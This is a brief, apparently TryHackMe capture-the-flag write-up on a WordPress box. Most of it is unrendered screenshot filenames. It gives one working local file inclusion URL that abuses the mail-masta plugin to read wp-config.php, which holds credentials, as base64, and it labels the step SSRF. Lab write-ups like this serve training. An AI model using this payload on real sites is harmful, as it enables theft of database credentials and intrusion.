Post

All In One

Posted Updated
By Kaviu Nethsara
1 min read
All In One

All In One

🔍 Port & Path Discovery

🕵️ First, I tried to discover web paths: Pasted image 20260606114359.png Pasted image 20260606115052.png Pasted image 20260606115108.png

Pasted image 20260606115740.png As you can see, it says it is waiting for moderation.

🕵️ Exploiting SSRF / LFI

💻 The next step is to test for SSRF. I started a Python server first and tested it:

1

http://10.49.177.76/wordpress/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=php://filter/convert.base64-encode/resource=../../../../../wp-config.php

Pasted image 20260606124516.png Pasted image 20260606124529.png Pasted image 20260606124822.png Pasted image 20260606124904.png

Writeup, TryHackMe
This post is licensed under CC BY 4.0 by the author.